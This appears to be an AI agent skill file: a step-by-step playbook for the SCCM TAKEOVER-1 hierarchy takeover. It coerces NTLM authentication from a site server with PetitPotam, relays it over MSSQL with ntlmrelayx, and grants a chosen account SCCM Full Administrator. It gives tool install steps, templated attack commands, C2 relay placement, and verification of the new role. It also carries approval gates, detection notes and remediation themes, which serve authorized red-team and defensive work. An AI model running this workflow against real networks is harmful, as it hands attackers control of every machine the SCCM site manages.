Sccm Takeover Relay

SCCM Takeover Relay

Use this skill to plan or execute SCCM TAKEOVER-1-style hierarchy takeover validation: coerce NTLM from a privileged SCCM site system, relay it to the site database over MSSQL, grant a chosen domain account the SCCM Full Administrator role, and verify the new role assignment.

This skill is for authorized lab validation only. It is OPSEC-sensitive and must remain tightly scoped.

Direct Triggers

Use this skill when the task mentions any of the following:

• SCCM takeover
• ConfigMgr takeover
• site takeover
• NTLM relay to MSSQL for SCCM
• coercing a site server, SMS Provider, or passive site server
• Misconfiguration-Manager TAKEOVER-1

Input Contract

Accept input as: COERCION_TARGET SITE_DB_TARGET SMS_PROVIDER_OR_PROVIDER_HOST TARGET_ACCOUNT [MODE]

Mode:

• plan: build the validation workflow, operator questions, and command set only
• execute (default): perform prechecks, request approval for dangerous steps, and capture evidence

Examples:

• $sccm-takeover-relay sccm-site01.corp.local sccmdb01.corp.local smsprov01.corp.local CORP\\lowpriv plan
• $sccm-takeover-relay 192.0.2.20 192.0.2.21 192.0.2.22 CORP\\operator execute

Required Operator Inputs Before Execute

In a C2 context, do not proceed past planning until these are known:

1. Where the ntlmrelayx server will run:

• internal: a host inside the target network
• external: a host outside the target network

2. How to SSH into the relay server:

• connection string, for example operator@relay-host
• authentication method, for example key path, agent-based auth, or password prompt expectation
• whether sudo is available

3. Relay-server network assumptions:

• relay server IP/FQDN that the coercion target will connect to over SMB
• whether the coercion target can reach relay-server TCP/445
• whether the relay server can reach site database TCP/1433

If any of the above is missing, ask the operator directly before execution. Do not guess relay placement or SSH access details.

Preconditions

Confirm all of the following before coercion or relay:

1. Scope:

• target systems are in scope
• intended relay infrastructure is operator-approved

2. SCCM path assumptions from TAKEOVER-1:

• the site database is not hosted on the coercion target
• coercion target is one of:
  • primary site server
  • SMS Provider
  • passive site server
• the chosen SCCM site-system computer account is expected to hold db_owner on the site DB

3. Authentication and protocol requirements:

• valid AD credentials exist for the coercion step
• coercion target can reach relay server SMB 445
• relay server can reach MSSQL on the site DB target 1433
• EPA is not Allowed or Required on the site database
• NTLM restrictions do not block the coercion/relay path

4. Tooling availability:

• ntlmrelayx
• a coercion primitive such as PetitPotam
• sccmhunter and/or SharpSCCM
• optional SQL or MSSQL connectivity tooling for prechecks

Tooling Setup

Before execution, determine which host will run each component:

• operator host
• relay host
• Windows SCCM interaction host, if needed

At minimum, account for these tools:

Linux operator host

Required or strongly preferred:

• python3
• git
• impacket-ntlmrelayx
• sccmhunter
• a coercion tool such as PetitPotam.py
• optional reachability tools such as nc and curl

Typical Kali/Debian install commands:

bashCopy code
sudo apt-get update
sudo apt-get install -y python3 python3-pip python3-venv git netcat-openbsd curl impacket-scripts

Verify:

bashCopy code
which ntlmrelayx.py || which impacket-ntlmrelayx
python3 --version

sccmhunter

If not already staged, clone it to the working host:

bashCopy code
git clone https://github.com/garrettfoster13/sccmhunter.git
cd sccmhunter
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt

PetitPotam

If not already staged, clone it:

bashCopy code
git clone https://github.com/topotam/PetitPotam.git

Windows host for SharpSCCM

Use only if the operator intends to run SCCM-specific checks from Windows. If needed, stage SharpSCCM on the Windows host in advance and record:

• host name
• execution path
• identity used

Relay host

Before execution, confirm the relay host has:

• SSH access from the operator
• ntlmrelayx available
• network reachability to the site DB on 1433
• an interface/IP that the coercion target can reach on SMB 445

If the relay host is separate from the operator host, do not assume tooling parity. Verify install state on the relay host explicitly over SSH.

Execution Workflow

1. Gather the C2 relay plan.

• Ask whether the relay server is internal or external.
• Ask for the exact SSH access pattern to that server.
• Record where ntlmrelayx will run and which host will launch coercion.
• Confirm the needed tooling is installed on the operator host and relay host before moving forward.

2. Build the SQL payload for SCCM admin assignment.

• Prefer sccmhunter on Linux to resolve the target user SID and generate the MSSQL statements.
• Use SharpSCCM when the operator is working from Windows.
• Capture:
  • target user/domain
  • site code
  • hex SID
  • full SQL payload

3. Run low-noise prechecks.

• confirm DNS/IP resolution for coercion target, site DB, and SMS Provider
• confirm relay host reachability assumptions
• confirm TCP/445 from coercion target to relay host where feasible
• confirm TCP/1433 from relay host to site DB where feasible
• confirm likely site DB host is separate from coercion target
• if TCP/445 testing fails, compare it against a temporary listener on an alternate relay-host port to distinguish a path issue from a 445-specific restriction

4. Prepare the relay server.

• SSH to the relay host using the operator-provided method
• record host identity, active interfaces, and the IP/FQDN that will receive coerced SMB auth
• start ntlmrelayx against mssql://<SITE_DB_TARGET> with the assembled SQL query
• prefer single-target relay mode and explicit output logging

5. OPSEC gate before dangerous steps.

• Starting ntlmrelayx in active relay mode is confirmation-gated.
• Triggering coercion is confirmation-gated.
• Before asking for approval, provide:
  • exact commands
  • objective
  • expected impact
  • assumptions
  • telemetry and detection surfaces

6. Trigger NTLM coercion.

• Launch the chosen coercion method against the SCCM site system, targeting the relay-server SMB listener
• capture exact command and output

7. Confirm relay success.

• collect ntlmrelayx output showing:
  • inbound SMB from the coercion target
  • authenticated identity, for example SITE-SERVER$
  • MSSQL target
  • SQL execution outcome

8. Verify SCCM role assignment.

• Prefer verifying the new Full Administrator assignment via WMI/AdminService on an SMS Provider
• Prefer sccmhunter on Linux or SharpSCCM on Windows
• Verification is the success condition; do not assume success from relay logs alone

9. Stop after controlled proof unless the operator explicitly extends the objective.

• Do not automatically pivot into client code execution
• report the equivalent impact and recommended next options

Command Patterns

Generate SQL with sccmhunter

bashCopy code
python3 sccmhunter.py mssql -dc-ip <DC_IP> -d <DOMAIN> -u '<USER>' -p '<PASS>' -tu <TARGET_USER> -sc <SITE_CODE> -stacked

Start ntlmrelayx on the relay host

bashCopy code
ssh <SSH_CONNECTION> "impacket-ntlmrelayx -smb2support -ts -t mssql://<SITE_DB_TARGET> -q \"<SQL_QUERY>\""

Trigger coercion with PetitPotam

bashCopy code
python3 PetitPotam.py -d <DOMAIN> -u <USER> -p <PASS> <RELAY_SERVER_IP> <COERCION_TARGET>

Verify SCCM admin assignment with sccmhunter

bashCopy code
python3 sccmhunter.py admin -u <USER> -p '<PASS>' -ip <SMS_PROVIDER_OR_PROVIDER_HOST>

Troubleshoot blocked relay port with an alternate listener

bashCopy code
proxychains4 -q -f /etc/proxychains4.conf nc -vz <RELAY_SERVER_IP> 445
proxychains4 -q -f /etc/proxychains4.conf nc -vz <RELAY_SERVER_IP> <ALT_PORT>

If <ALT_PORT> succeeds while 445 fails, record that the current transport path appears to disallow outbound or proxied 445.

Relay Placement Guidance

Internal Relay Server

Use when the operator already has an implant, host, or pivot inside the target network that can:

• accept SMB on 445 from the coercion target
• reach MSSQL 1433 on the site DB

This is usually the cleaner path.

External Relay Server

Use only when the coercion target can reach the external relay host over SMB and the site DB is reachable from that relay position.

Before execution, explicitly verify:

• routable IP/FQDN for the relay host
• firewall/NAT path for inbound SMB from the coercion target
• SSH path from the operator to the relay host

Do not assume an external relay path is viable just because the operator has a team server.

OPSEC Gate

Require explicit operator confirmation before:

• starting ntlmrelayx in relay mode
• triggering NTLM coercion
• any broad or repeated coercion attempts
• any step that modifies SCCM RBAC in the site database

Before requesting approval, include:

• exact action to run
• expected security objective
• expected impact
• prerequisites and assumptions
• likely telemetry/artifacts
• likely detection surfaces across host, network, identity, and SIEM/EDR
• expected noise level and blast radius

Success Criteria

Validation is successful only when all of the following are evidenced:

• SQL payload was prepared for the intended target account
• relay server received coerced authentication from the intended SCCM site system
• relay to MSSQL succeeded
• SQL statements executed successfully
• the target account is verifiably assigned SCCM Full Administrator

If validation is blocked before coercion:

• include whether 445 failed while an alternate port on the same host succeeded
• treat that as concrete evidence of a port-specific path restriction

Reporting Requirements

For each run, include:

• coercion target, site DB target, SMS Provider target, and relay host details
• relay placement: internal or external
• SSH method used to access the relay host
• exact commands and outputs for:
  • SQL payload generation
  • relay-server setup
  • coercion
  • verification
• timestamps in UTC ISO 8601
• confirmed result vs inference
• observed impact
• detection opportunities
• remediation options with tradeoffs

Remediation Themes

Always discuss:

• requiring EPA on the site database
• reducing unnecessary network paths to site systems and site DBs
• restricting NTLM where operationally possible
• monitoring SCCM site-system computer accounts authenticating from unusual sources
• reviewing SCCM RBAC changes and unexpected Full Administrator assignments

References

• Misconfiguration-Manager TAKEOVER-1: https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/TAKEOVER/TAKEOVER-1/takeover-1_description.md
• sccmhunter: https://github.com/garrettfoster13/sccmhunter
• SharpSCCM: https://github.com/Mayyhem/SharpSCCM